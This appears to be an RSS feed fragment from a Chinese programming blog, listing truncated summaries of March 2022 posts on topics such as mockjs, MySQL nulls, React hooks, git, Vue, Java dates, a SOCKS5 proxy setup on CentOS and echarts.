      <description>前言 使用mock可以让前端不在局限于后端接口，在规定好文档格式后甚至能一次性开发完整个前端接口，大大节省了对接时间，可以说是当前前端必备的技能之一了。最近做新项目，重新搭建了下框架，想着写一篇mock的配置文章，让大家共同进步。&#xA;一、npm下载插件&#xA;npm install mockjs --save-dev 二、创建mock文件夹 1.在跟目录(src目录同级)下创建mock文件夹 2.mock文件夹下新建index.js文件 import Mock from &#39;mockjs&#39; import { param2Obj } from &#39;../src/utils&#39; import user from &#39;./user&#39; const mocks = [ ...user ] // for front mock // please use it cautiously, it will redefine XMLHttpRequest, // which will cause many of your third-party libraries to be invalidated(like progress event). export function mockXHR() { // mock patch // https://github.com/nuysoft/Mock/issues/300 Mock.XHR.prototype.proxy_send = Mock.XHR.prototype.send Mock.</description>
    </item>
    <item>
      <title>MySQL 中 is null 和 =null 的区别</title>
      <link>https://bchobby.github.io/posts/a6d51c36053f3e3605ca92d224b3ba97/</link>
      <pubDate>Wed, 30 Mar 2022 17:03:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6d51c36053f3e3605ca92d224b3ba97/</guid>
      <description>1.什么是null&#xA;MySQL 中 null 不代表任务实际的值，类似于一个未知数。&#xA;2.执行对比&#xA;2.1 查询条件为 =null&#xA;执行之后，发现返回行数为0&#xA;2.2 查询条件为 is null&#xA;执行后发现返回行数为8&#xA;2.3两次查询的为何不同&#xA;null 在MySQL中不代表任何值，通过运算符是得不到任何结果的，因此只能用 is null(默认情况)&#xA;2.4使用 =null的解决方式&#xA;因为在非ANSI SQL标准中，data=null等同于data is null，data&amp;lt;&amp;gt;null等同于data is not null，所以使用 =null 可以进行以下设置：&#xA;set ANSI_NULLS OFF; 如果 set ANSI_NULLS为 ON 时，表示SQL语句遵循SQL-92标准；如果 set ANSI_NULLS 为 OFF 时，表示不遵从 SQL-92 标准。&#xA;但SQL-92 标准要求对null的 = 或不等于 (!= ，&amp;lt;&amp;gt;) 比较取值都为 false，也就是 =null 或者 &amp;lt;&amp;gt;null,返回的都是false。</description>
    </item>
    <item>
      <title>智能雷达感应人体存在，照明雷达技术应用，雷达模块技术方案</title>
      <link>https://bchobby.github.io/posts/5f904dfdcfcf2c62828699739c2115ef/</link>
      <pubDate>Wed, 30 Mar 2022 16:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f904dfdcfcf2c62828699739c2115ef/</guid>
      <description>随着消费者对照明光效、个性化照明、智能化照明、健康节能环保等要求的提升，智能照明作为行之有效的解决方案，无疑是行业发展的必然趋势。&#xA;智能照明作为照明行业未来的发展方向，已成为行业共识。对于智能家居、智能楼宇（商业照明）、智能园区与城市而言，各种灯具是重要的智能节点。&#xA;在与灯具的组合方面，雷达感应技术相对于红外感应技术显示出无可比拟的优势。智能照明发展将逐渐向智能化、标准化、绿色化和人性化的方向转变，促进智能产业发展。&#xA;飞睿智能专注于通过雷达和物联网技术，通过智能感应人体存在，使产品智能化响应操作。&#xA;情景联动，进门自动开灯，出门关灯；有节能的需求，如人来灯亮，人走灯灭；有提升用户对光的体验需求，如根据环境光的照度自动调节，如根据人体移动探测、微动探测、呼吸探测人的存在，实现家居空间的照明调节。&#xA;利用物联网和感应技术融入照明灯具的应用，丰富了情景联动方式，满足不同人群、不同时间对照明控制的需求。&#xA;产品涵盖应用于各类智能感应人体存在的雷达模块。满足了商业及工业照明的智能化、节能化需求。&#xA;通用型雷达模块，解决了如面板灯、线条灯、吸顶灯、球泡灯、消毒灯等的应用。低功耗型雷达模块，解决了以往雷达产品不能使用在电池供电的低功耗产品上的痛点，比如充电型小夜灯，充电型衣柜灯等。&#xA;组网型雷达模块，如雷达模块+WIFI等，满足了客户端的需求。微波雷达感应器可以给用户带去极佳的智能产品体验，提升智能技术于照明产品的应用，为终端用户提供更优质的智能照明体验。&#xA;微波雷达模组智能感知人体存在操控应用，是以节能环保和智能感应为出发点。微波雷达模组配合智能照明系统，达到人工智能响应开启，人走主动封闭，实现智能化人体感应控制应用。&#xA;数字化、智能化、健康化等关键技术，是照明行业跨界创新，践行“以人为本”发展理念的主要方向。智能家居照明产品和技术的应用，促进照明行业在物联网领域的延伸发展。&#xA;目前，智能照明打开了行业长期成长的空间，其发展前景远大于传统照明，同时也促进了照明电器行业的健康发展。</description>
    </item>
    <item>
      <title>【React Hooks】useState 用法</title>
      <link>https://bchobby.github.io/posts/3d41690f68802925a8b493f1dfed4558/</link>
      <pubDate>Wed, 30 Mar 2022 16:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d41690f68802925a8b493f1dfed4558/</guid>
      <description>文章目录 回顾 React单向数据流函数式组件 useState 使用state 两者区别function state 和 class state快照（闭包） vs 最新值（引用） 回顾 React 单向数据流 和angular双向绑定不同，React采用自上而下单向数据流的方式，管理自身的数据与状态。&#xA;在单向数据流中，数据只能由父组件触发，向下传递到子组件。&#xA;我们可以在父组件中定义state，并通过props的方式传递到子组件。&#xA;如果子组件想要修改父组件传递而来的状态，则只能给父组件发送消息，由父组件改变，再重新传递给子组件。&#xA;在React中，state与props的改变，都会引发组件重新渲染。&#xA;如果是父组件的变化，则父组件下所有子组件都会重新渲染。&#xA;在class组件中，组件重新渲染，是执行render方法。&#xA;而在函数式组件中，是整个函数重新执行&#xA;函数式组件 函数式组件与普通的函数几乎完全一样。&#xA;只不过函数执行完毕时，返回的是一个JSX结构。&#xA;function Hello() { return &amp;lt;div&amp;gt;hello world.&amp;lt;/div&amp;gt; } 函数式组件非常简单，也正因如此，一些特性常常被忽略，而这些特性，是掌握React Hooks的关键。&#xA;函数式组件接收props作为自己的参数 import React from &#39;react&#39;; interface Props { name: string, age: number } function Demo({ name, age }: Props) { return [ &amp;lt;div&amp;gt;name: {name}&amp;lt;/div&amp;gt;, &amp;lt;div&amp;gt;age: {age}&amp;lt;/div&amp;gt; ] } export default Demo; props的每次变动，组件都会重新渲染一次，函数重新执行&#xA;没有this。那么也就意味着，之前在class中由于this带来的困扰就自然消失了&#xA;useState 使用 useState Hook 让函数组件也可以有 state 状态，并进行读写操作语法： const [state, setState] = React.</description>
    </item>
    <item>
      <title>GBK编码转换</title>
      <link>https://bchobby.github.io/posts/1fcf5719093c27c8a48531b21013440f/</link>
      <pubDate>Wed, 30 Mar 2022 11:43:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fcf5719093c27c8a48531b21013440f/</guid>
      <description>## 0X01 GBK编码查询&#xA;GBK编码与汉字之间的转换。&#xA;查看字符编码（简体中文）http://www.mytju.com/classcode/tools/encode_gb2312.asp&#xA;## 0X02</description>
    </item>
    <item>
      <title>git基本操作学习</title>
      <link>https://bchobby.github.io/posts/a9c4c60c322c191b4391b9c4a6777678/</link>
      <pubDate>Wed, 30 Mar 2022 10:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9c4c60c322c191b4391b9c4a6777678/</guid>
      <description>厘清一些概念 什么是分支？ 对于日常开发而言，我们说分支的时候，脑海里是根节点到某叶子节点的一条路径，是那条线。实际上git里面并没有“线”的概念，或者说，从来没有说去操作一条线。&#xA;个人理解：分支是一个指针，指向某个节点的一个指针。这里说的节点就是每一次提交记录。&#xA;分支不是路径，只是简单地指向某个提交纪录。&#xA;基本操作 创建分支 使用git branch &amp;lt;分支名&amp;gt;创建一个分支，上文说过分支是一个指向某节点的指针，那么这句指令执行之后，新建的分支指向的是哪个节点呢？&#xA;创建前&#xA;创建后(git branch newB)&#xA;显然，新分支指向的提交记录和创建时“我”所在的分支一致。*号表示当前所在分支是master而不是newB 切换分支 分支是可以移动、变更的，但是在进行这些操作前，先要切换到该分支上。&#xA;git checkout &amp;lt;分支名&amp;gt;&#xA;分支的移动 最常见的移动分支操作就是git commit,执行这个指令，当前分支就会移动到新增的一个提交记录上。&#xA;虽然分支只是一个节点的指向，但平常看来就像是从根节点到任意一个节点的路径一样，这就是因为如果只是用git commit来移动，那么每个分支走过的路径都是独一无二的。&#xA;master和newB都在C1节点的时候进行了一次提交，各自产生并指向了一份记录，节点分别为C2、C3&#xA;分支的合并 merge git merge &amp;lt;目标分支名&amp;gt; --目标分支将要合并到当前分支&#xA;把 bugFix 合并到 master 里，首先要处于master分支上，然后合并指令git merge bugFix&#xA;可以再把 master 分支合并到 bugFix：&#xA;git checkout bugFix;git merge master&#xA;这里可以看到和上一步是没变化的，这是因为上一步 bugFix 已经合并到 master 里了，这时候的master指向C4节点，C4是C2和C3的子节点，意味着master是在bugFix基础上的变动，是bugFix子分支，已经包含/覆盖了父分支bugFix。&#xA;把子分支合并到父分支上，实际上只是简单地将父分支移动到子分支指向的节点了而已。&#xA;rebase git rebase &amp;lt;目标分支名&amp;gt; --把当前分支的工作移动到目标分支后面，移动之后看起来是按顺序开发的一条分支&#xA;git rebase master之后：&#xA;提交树上自由移动 什么是head？ 前文说道分支本质就是一个指针，指向提交记录，这里的head也一样，8指向提交记录或者分支，标记的是“我”的位置。&#xA;head指向分支的时候，该分支就是当前分支，head跟随分支移动而移动，&#xA;但head是可以在提交记录上自由移动的，不一定要跟随分支。&#xA;HEAD分离 当我们git checkout 某分支 的时候，实际上是HEAD指针指向了那个分支，这样看起来好像HEAD总是和某个分支粘在一起，可以git checkout 某提交来分开head和某分支：</description>
    </item>
    <item>
      <title>DB-Engines2022：时序数据库大热，DolphinDB荣登榜单第9</title>
      <link>https://bchobby.github.io/posts/94f51b8b1d01c2e5c4307c07d6ab6852/</link>
      <pubDate>Wed, 30 Mar 2022 09:48:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94f51b8b1d01c2e5c4307c07d6ab6852/</guid>
      <description>DB-Engines最新发布的2022年3月时序数据库排名榜单中，国产时序数据库DolphinDB继2月荣登该榜单前10后，又前进至第9名，也是目前唯一排名前10的国产时序数据库。自2019年参与DB-Engines排名以来，DolphinDB凭借广大用户的支持与产品优异的性能，排名一路飙升。&#xA;近几年，时序数据库（time-series database）一直是数据库的热点。在DB-Engines最近24个月的流行度报告中，时序数据库力压其他类别的数据库，是增长趋势最快的数据库类别。尽管与关系型数据库相比，时序数据库还很年轻，但关于海量时序数据的新的解决方案、项目和基础工具正在蓬勃发展。&#xA;时序数据无处不在 如今时序数据的应用场景十分广泛，许多类型的数据都是时间序列数据：&#xA;l 金融市场交易&#xA;l 传感器测量（水冷、高温、地震...）&#xA;l 服务器监控（CPU、内存、磁盘...）&#xA;l 资源消耗（能源、电力...）&#xA;l 人体健康（心率、血氧浓度...）&#xA;l 网络访问&#xA;通过保留数据固有的时间序列性质，我们可以记录下事物是如何随时间变化的事实，正因如此，这一反应真实的客观属性使得时序数据在特定的场景中充满了商业价值：通过分析时序数据，决策者可以了解到生产和业务中的细微变化，从而对资源优化、跟踪、预测、商业智能等方面进行优化。&#xA;当然，想要记录并分析时序数据也带来一个明显的问题: 由于时序数据产生的速度非常快，且规模庞大，如何以一种高性能的方式记录、查询和分析如此大规模的数据，成为了一个难题。时序数据库(time-series database)应运而生。&#xA;掌握过去、了解现在和预测未来 在时序数据库成为热点之前，时序数据通常使用MySQL或PostgreSQL等关系数据库进行处理。但自2010年以来，随着互联网和通信技术的发展，网络中产生的时间序列数据量有了爆炸式的增长，传统的数据库已经无法处理这种万亿级的海量数据。不仅如此，现代业务对数据价值挖掘的需求已不仅仅停留在简单计算和绘制图表的层面上，而是需要更多精细、复杂的计算分析。以对数据价值嗅觉最敏感的金融领域为例，早在20年前，华尔街就已经开始使用时序数据库对股票交易数据进行实时的计算分析。&#xA;高压缩比，高写入吞吐量，以及高速的时间序列查询，是时序数据库相比于关系数据库在处理海量时序数据方面的最基本的能力和优势。DolphinDB支持每秒百万级以上（随集群规模增大而增大）的数据写入，万亿级数据毫秒级查询以及秒级的计算响应。&#xA;真正让DolphinDB脱颖而出的，是DolphinDB强大的实时数据处理能力和历史数据分析能力。DolphinDB内置了高效的流数据系统和1000+计算函数。在同一个系统内实现了海量历史数据和实时流数据的便捷存储、查询、分析仿真和可视化。同时流批一体的产品设计，让用户可以在极短时间内将研发成果部署到生产环境，极大提高工作效率，提升企业的竞争优势。&#xA;DolphinDB的付费客户遍及中国大陆及港台地区、欧洲、美国、澳大利亚等地，客户领域包括金融、能源、智能制造、电信、化工、水务、营销分析、智慧城市等。DolphinDB让企业从海量数据中高效发掘数据尤其是实时数据的价值，以实时反控业务系统，助力企业和用户实时商业决策，真正做到掌握过去、了解现在和预测未来。</description>
    </item>
    <item>
      <title>HTML5 使用canvas实现画板功能(画笔颜色切换、粗细调整、清除图像)</title>
      <link>https://bchobby.github.io/posts/487f3418b26be5af2af8c2f1f7255a89/</link>
      <pubDate>Wed, 30 Mar 2022 08:30:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/487f3418b26be5af2af8c2f1f7255a89/</guid>
      <description>标签定义图形，比如图表和其他图像，您必须使用脚本来绘制图形。&#xA;在画布上（Canvas）画一个红色矩形，渐变矩形，彩色矩形，和一些彩色的文字。&#xA;HTML5 元素用于图形的绘制，通过脚本 (通常是JavaScript)来完成.&#xA;标签只是图形容器，您必须使用脚本来绘制图形。&#xA;实现画笔颜色切换画笔粗细调整清除图像绘制矩形绘制圆形 创建一个画布（Canvas） &amp;lt;canvas id=&#34;canvas&#34; width=&#34;900&#34; height=500&#34; style=&#34;border: 2px #550000 solid;&#34;&amp;gt; 画板代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;绘制画板&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;&#34;&amp;gt; &amp;lt;input type=&#34;color&#34; value=&#34;#ff5821&#34; id=&#34;color&#34;/&amp;gt; &amp;lt;input type=&#34;range&#34; class=&#34;range&#34; min=&#34;1&#34; max=&#34;20&#34; value=&#34;1&#34; id=&#34;cu&#34;&amp;gt; &amp;lt;button type=&#34;button&#34; id=&#34;cls&#34;&amp;gt;清除图像&amp;lt;/button&amp;gt; &amp;lt;button type=&#34;button&#34; id=&#34;rectangle&#34;&amp;gt;绘制矩形&amp;lt;/button&amp;gt; &amp;lt;button type=&#34;button&#34; id=&#34;round&#34;&amp;gt;绘制圆&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;canvas id=&#34;canvas&#34; width=&#34;900&#34; height=500&#34; style=&#34;border: 2px #550000 solid;&#34;&amp;gt; &amp;lt;/canvas&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; // 颜色 let color = document.querySelector(&#34;#color&#34;); // 清除 let cls = document.</description>
    </item>
    <item>
      <title>20.vue脚手架,cli</title>
      <link>https://bchobby.github.io/posts/5111b109099709ec5fd26a2464e92d6b/</link>
      <pubDate>Wed, 30 Mar 2022 06:27:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5111b109099709ec5fd26a2464e92d6b/</guid>
      <description>全局安装脚手架&#xA;npm install -g @vue/cli&#xA;PS D:\www\vue&amp;gt; vue.cmd --version&#xA;@vue/cli 5.0.3&#xA;创建项目&#xA;PS D:\www\vue&amp;gt; vue.cmd create vueproject01&#xA;Vue CLI v5.0.3 ? Please pick a preset: Default ([Vue 3] babel, eslint) Default ([Vue 2] babel, eslint) &amp;gt; Manually select features Vue CLI v5.0.3 ? Please pick a preset: Manually select features ? Check the features needed for your project: (Press &amp;lt;space&amp;gt; to select, &amp;lt;a&amp;gt; to toggle all, &amp;lt;i&amp;gt; to invert selection, and &amp;lt;enter&amp;gt; to proceed) (*) Babel ( ) TypeScript ( ) Progressive Web App (PWA) Support (*) Router (*) Vuex (*) CSS Pre-processors &amp;gt;( ) Linter / Formatter ( ) Unit Testing ( ) E2E Testing Vue CLI v5.</description>
    </item>
    <item>
      <title>vue 移动端上传头像</title>
      <link>https://bchobby.github.io/posts/5b9f7a6fd8024791180d378f2af3465f/</link>
      <pubDate>Wed, 30 Mar 2022 00:02:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b9f7a6fd8024791180d378f2af3465f/</guid>
      <description>头像上传主要的难点在于后端的操作。接下来我会从最开始一步步实现。&#xA;我用的是vant组件 其实感觉移动端的话vant组件还是非常好用的Vant 2 - Mobile UI Components built on Vue&#xA;这里使用的是Vant 2的Uploader 文件上传&#xA;首先在页面中使用该组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;van-uploader :after-read=&#34;afterRead&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { methods: { afterRead(file) { // 此时可以自行将文件上传至服务器 console.log(file); }, }, }; &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt; &amp;lt;/style&amp;gt; 当我们随便上传一张图片之后就会出来一个file对象&#xA;这样就能获取到图片的一些信息 比如：图片大小 图片格式 ........&#xA;回到页面开始写发送请求 这里注意要写一个name字段&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;van-uploader name=&#39;uploadFile&#39; :after-read=&#34;afterRead&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { methods: { afterRead(file) { // 此时可以自行将文件上传至服务器 console.log(file); // 创建一个新的FromData const fd = new FormData() // 这一步是把刚才获取到的图片信息 添加到fd里面 fd.</description>
    </item>
    <item>
      <title>ubuntu、win10双系统安装与卸载心得记录</title>
      <link>https://bchobby.github.io/posts/c98410a7b8443a9fa219791148e6492e/</link>
      <pubDate>Tue, 29 Mar 2022 23:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c98410a7b8443a9fa219791148e6492e/</guid>
      <description>和ubuntu、win10双系统打了一晚上的交道，怕以后还会用到，于是做个记录。&#xA;首先是卸载，卸载分两步，一步是删除或者格式化原来安装时分的区，其中除了EFI分区外都可以在磁盘管理处直接删除，而EFI分区可以使用一些软件删除，比如diskgenius。&#xA;第二步是删除启动项。如果是第一次卸载ubuntu可以使用easyUEFI，很直观地删除，教程为Win10 + Ubuntu双系统，删除Ubuntu系统 - 寻觅beyond - 博客园。但是它有试用期，如果之前用过八成现在就已经过了试用期了。除这种方法外还可以用windows自带的diskpart来删除，教程为在win10+Ubuntu双系统下，完美卸载Ubuntu_guikunchen的博客-CSDN博客_卸载ubuntu&#xA;然后是安装，安装主要可以参考链接&#xA;windows10安装ubuntu双系统教程（绝对史上最详细） - 不妨不妨，来日方长 - 博客园&#xA;Ubuntu系统安装分区_sealee01的博客-CSDN博客_ubuntu安装分区&#xA;其中第一个链接时介绍全过程比较好的，第二个链接的磁盘分区讲的比较详细。&#xA;注意，第一个链接里有提到安装之前什么在win下分好区，他的意思是留足空间的意思，并不是要我们真正去划分一个区，要保证这些空间为未分配状态。&#xA;其次，第一个链接里说空间留100G左右就行了，而第二个链接则留了500G，说要留大一些，建议空间够的情况下还是留足一些比较好。&#xA;附注：我的是神舟电脑，bios进入快捷键是f2</description>
    </item>
    <item>
      <title>java的日期类</title>
      <link>https://bchobby.github.io/posts/547aa9e43dc3e2b0f07ea40d8d8d91fd/</link>
      <pubDate>Tue, 29 Mar 2022 20:52:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/547aa9e43dc3e2b0f07ea40d8d8d91fd/</guid>
      <description>1、Date类&#xA;最早使用的时间类&#xA;Date是从1900年1月1日0时0分0秒开始的，因此在创建Date类时需注意，&#xA;有参构造的：&#xA;new Date(int year, int month, int day)；&#xA;这个year需要传年减去1900的值，比如你想要2022年那么你需要传个122&#xA;这个month是从0开始的，0-11表示1到12月，因此如果你想要3月你需要传个2&#xA;所以相对的&#xA;从一个Date内获取年份，需要加上1900 也就是说date.getYear()返回的也会是122，这个122对应的就是2022年&#xA;从一个Date内获取月份，需要加上1也就是说date.getMonth()返回的也会是2，这个2对应的就是3月&#xA;还有一个特殊的就是获取日期的星期数&#xA;getDay() 返回的是 0代表周日，其他1-6代表周一到周六&#xA;2、simpleDateFormat&#xA;simpleDateFormat是用于格式化日期的一个类，通常用于Date的格式转化。&#xA;为什么需要格式化日期的类，&#xA;由于世界上的日期表现形式有很多种，不同地方用不同的格式但是对应的含义又是一样的，那么两个不同地区的人怎么能让对方明白这个日期的具体数值呢？这里就需要格式化类了，其实也就是相当于一个翻译器的功能。&#xA;Date NowDate = new Date(); SimpleDateFormat formatter =new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss&#34;); SimpleDateFormat formatter =new SimpleDateFormat(&#34;yyyy/MM/dd HH:mm:ss&#34;); String　CurrentTime = formatter.format(NowDate); 使用不同的调用就会有不同的结果出现，只要知道规则就能找到对应的日期了。&#xA;3、Calendar&#xA;由于Date在很多情况下使用都比较不友好，比如我要指定年份还需要计算一下才能知道参数，再一个Date类没办法进行加减操作，很多时候我们需要拿到去年，或者两个月前的日期，这种就不好用Date类了，因此，诞生了Calendar类&#xA;Calendar 是一个抽象类，所以不能直接调用构造出来。&#xA;Calendar c1 = Calendar.getInstance(); 可以直接使用类里的静态方法得到一个实例化对象。&#xA;我们可以直接调用c1.set(2022, 4- 1, 29)；来设置日期 这里需要注意月份还是和Date类一样设置都是从0开始的&#xA;另一个注意点是这里星期的规则和原本就不一样了。&#xA;由于国外都是算周日是一个星期的开始，因此这里使用1代表星期日，2代表星期一依次类推。&#xA;还有个比较好的方法就是它的add方法，可以对日期，月份，年份进行加减。&#xA;4、LocalDate、LocalTime和LocalDateTime&#xA;为什么需要这三个类？&#xA;对于Date来说Date是一个时间点，那么日期和时间就被一个Date掌控了，这不符合单一职责原则，此外，由于地球很多地方处于不同时区，那么地球上同一时间却有了不同的时间表示，因此诞生了LocalDate类来处理日期，LocalTime来处理时间，以及LocalDateTime类来处理对应的日期+时间，这里是可以传入时区参数来获取不同时区的时间的，这对于一些国际化项目来说是十分重要的，当然这三个类还是线程安全的类，这一点在多线程运行环境下也十分重要。&#xA;这些类的使用方式？&#xA;//获取当前时区的日期&#xA;LocalDate localDate = LocalDate.</description>
    </item>
    <item>
      <title>《数据结构初阶》用队列实现栈&amp;&amp;用栈实现队列的细致解析</title>
      <link>https://bchobby.github.io/posts/499c4c1c996c30462379611a99c7d3dd/</link>
      <pubDate>Tue, 29 Mar 2022 16:48:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/499c4c1c996c30462379611a99c7d3dd/</guid>
      <description>纵有千古、横有八方 目录&#xA;一、⏱️本章重点&#xA;二、⏱️队列实现栈&#xA;三、⏱️栈实现队列&#xA;四、⏱️解题思路总结&#xA;一、⏱️本章重点 用两个队列实现栈用两个栈实现队列解题思路总结 二、⏱️队列实现栈 我们有两个队列：&#xA;入栈数据1、 2、 3&#xA;可以将数据入队列至队列一或者队列二。&#xA;如何出栈？&#xA;但出栈要先出1，怎么办？&#xA;第一步：&#xA;将队列一出队n-1个至队列二。&#xA;第二步：&#xA;pop队列一的最后一个元素。&#xA;接下来怎么入栈呢？&#xA;将元素入队至不为空的队列。&#xA;怎么判断栈空？&#xA;队列一和队列二都为空的情况下，栈就是空的。&#xA;如何取栈顶元素？&#xA;取不为空的队列尾部元素。&#xA;总的来说就是，入栈时就将数据插入不为空的队列，出栈就将不为空的队列的前n-1个数据导入至另一个队列，然后pop最后一个元素。&#xA;代码实现：&#xA;首先我们要构造一个栈。&#xA;这个栈要包含两个队列&#xA;typedef struct { Queue q1; Queue q2; } MyStack; 在此之前我们要准备好队列的一般接口：&#xA;我这里的队列是用单链表来构建的，具体接口实现可以看我之前的文章。&#xA;typedef int QTypeData; typedef struct QueueNode { struct QueueNode* next; QTypeData val; }QN; void QueueInit(Queue* pq)//初始化队列 size_t QueueSize(Queue* pq)//求队列元素个数 int QueueBack(Queue* pq)//取队列尾部数据 void QueuePush(Queue* pq, QTypeData x)//将x入队 void QueuePop(Queue* pq)//出队 void QueueDestroy(Queue* pq)//结束队列 我们要用队列实现栈的接口：</description>
    </item>
    <item>
      <title>ElementUI按需引入</title>
      <link>https://bchobby.github.io/posts/8371f07d92de61fa3d004c0b849add4b/</link>
      <pubDate>Tue, 29 Mar 2022 11:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8371f07d92de61fa3d004c0b849add4b/</guid>
      <description>1. 安装 babel-plugin-component&#xA;npm install babel-plugin-component -D 2. 在项目目录下创建 elementUi / index.js 目录及文件&#xA;elementUi / index.js&#xA;// 里面的这些 MessageBox Dropdown 都是 element 组件库标签的驼峰写法 import { MessageBox, Message, Dropdown, DropdownMenu, DropdownItem } from &#39;element-ui&#39;; const element = { install: function (Vue) { Vue.use(Dropdown); Vue.use(DropdownMenu); Vue.use(DropdownItem); // 下面是注册 element 的 动态组件重命名 到 原型中 Vue.prototype.$msgbox = MessageBox; Vue.prototype.$alert = MessageBox.alert; Vue.prototype.$confirm = MessageBox.confirm; Vue.prototype.$message = Message; }, }; export default element; 3. 在 main.</description>
    </item>
    <item>
      <title>SOCKS5代理服务--Linux-CentOS7 配置搭建</title>
      <link>https://bchobby.github.io/posts/621c31e1e6304fd9cf4c1bbe245b82b8/</link>
      <pubDate>Tue, 29 Mar 2022 08:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/621c31e1e6304fd9cf4c1bbe245b82b8/</guid>
      <description>环境： 服务器主机 ：腾讯云 1核 1GB 1Mbps&#xA;服务器操作系统：CentOS 7.2 64位&#xA;可能用到的软件：&#xA;Proxifier : 用来测试连接情况&#xA;Firefox : 就是浏览器…任何一个都可以&#xA;ssh登录出现问题 使用ssh-keygen -R 服务器ip地址 更新我们的认证信息&#xA;ssh-keygen -R 156.232.7.132 关于SOCKS5 这里只做简单介绍。&#xA;SOCKS5 是一个代理协议，它在使用TCP/IP协议通讯的前端机器和服务器机器之间扮演一个中介角色，使得内部网中的前端机器变得能够访问Internet网中的服务器，或者使通讯更加安全。&#xA;正常情况下客户端和服务端的通信：&#xA;客户端&amp;lt;–&amp;gt;服务端&#xA;使用了SOCKS5代理后的通讯：&#xA;客户端&amp;lt;–&amp;gt;代理服务器&amp;lt;–&amp;gt;服务端&#xA;我接触这个是因为，我的客户端没有办法直接访问一部分服务端(被墙了),但是我可以访问代理服务器,而且代理服务器可以访问我需要的服务端。&#xA;所以我尝试通过代理服务器来访问需要的服务端(翻墙)。&#xA;本文适用于CentOS 7.2 64位操作系统。&#xA;通过yum安装ss5 依赖包：&#xA;yum install gcc openldap-devel pam-devel openssl-devel 安装成功之后,安装ss5：&#xA;# 这个是一个日本大学的sourceforge镜像 wget http://jaist.dl.sourceforge.net/project/ss5/ss5/3.8.9-8/ss5-3.8.9-8.tar.gz 然后解压压缩包：&#xA;# 解压,&#34;ss5-3.8.9-8.tar.gz&#34;是刚才下载的压缩包 # -v过程显示文件 -z解压/压缩gzip -x解压操作 -f 后面加要操作的文件 tar -vzx -f ss5-3.8.9-8.tar.gz 会解压出来很多文件，进入解压目录：&#xA;cd ss5-3.8.9/ 运行’./configure’&#xA;# configure是一个shell脚本 # 主要的作用是对即将安装的程序进行配置， # 检查当前的环境是否满足要安装程序的依赖关系.</description>
    </item>
    <item>
      <title>编码问题（Java的IO流为什么会有字节流和字符流）</title>
      <link>https://bchobby.github.io/posts/aaf1443684f3e48be72548544dffc28b/</link>
      <pubDate>Mon, 28 Mar 2022 22:13:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaf1443684f3e48be72548544dffc28b/</guid>
      <description>Java的IO流为什么会有字节流和字符流 首先明确字节流适用于任何场景，而且有字节缓冲流，能提高读取和输入的效率，也就是BufferedOutputStream/BufferedInputStream。其操作与字节流基本都一样。&#xA;而字符流是为了应对汉字出现的情况。在GBK中汉字占2个字节，在UTF-8中汉字占3个字节，所以我们通过字节流读取文件的时候一般都是逐个字节转换就会导致乱码，而手动去根据不同编码去拼接则不方便，所以有字符流。&#xA;这边再解释一下为什么使用字节流复制粘贴中文文件时不会乱码的原因:&#xA;不论是使用GBK还是UTF-8编码，中文的第一个字节都是负数，逐个字节读取后文件会根据不同的编码自动进行拼接。而当我们手动向文件输入数据时，使用 write(“中国”.getBytes())，其实getBytes默认是UTF-8编码，如果文件也是UTF-8编码那自然也不会乱码。 （getBytes(“指定编码类型”)）&#xA;在Java中将字节数组转换为字符串使用String(字节数组)，默认的编码也是UTF-8,当然也可以自己指定编码，String(字节数组,“指定编码类型”)。&#xA;使用字符流时，OutputStreamWriter/InputStreamReader都可以在第二个参数处添加编码方式，默认还是UTF-8，这样在操作中文文件时就避免了在控制台输出时乱码或者需要手动拼接的麻烦。</description>
    </item>
    <item>
      <title>echarts图表超出宽度添加横向滚动条</title>
      <link>https://bchobby.github.io/posts/efdb3cd2ce32654fade63484eccc3774/</link>
      <pubDate>Mon, 28 Mar 2022 21:51:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efdb3cd2ce32654fade63484eccc3774/</guid>
      <description> 最近项目中使用到echarts图表，当数据过多时需要添加横向滚动条，经过摸索和踩坑，终于！！！！完美填坑！！&#xA;注意echarts的版本问题，我这里使用的是5.0版本以上&#xA;dataZoom: [ { xAxisIndex: 0, //这里是从X轴的0刻度开始 show: true, //是否显示滑动条，不影响使用 type: &#39;slider&#39;, // 这个 dataZoom 组件是 slider 型 dataZoom 组件 startValue: 0, // 从头开始。 endValue: 7, // 一次性展示6个 height: 8, //组件高度 bottom: 10, borderColor: &#39;rgba(43,48,67,.1)&#39;, fillerColor: &#39;rgb(36,71,141)&#39;, zoomLock: true, showDataShadow: false, //是否显示数据阴影 默认auto backgroundColor: &#39;#051A3B&#39;, showDetail: false, //即拖拽时候是否显示详细数值信息 默认true realtime: true, //是否实时更新 filterMode: &#39;filter&#39;, handleIcon: 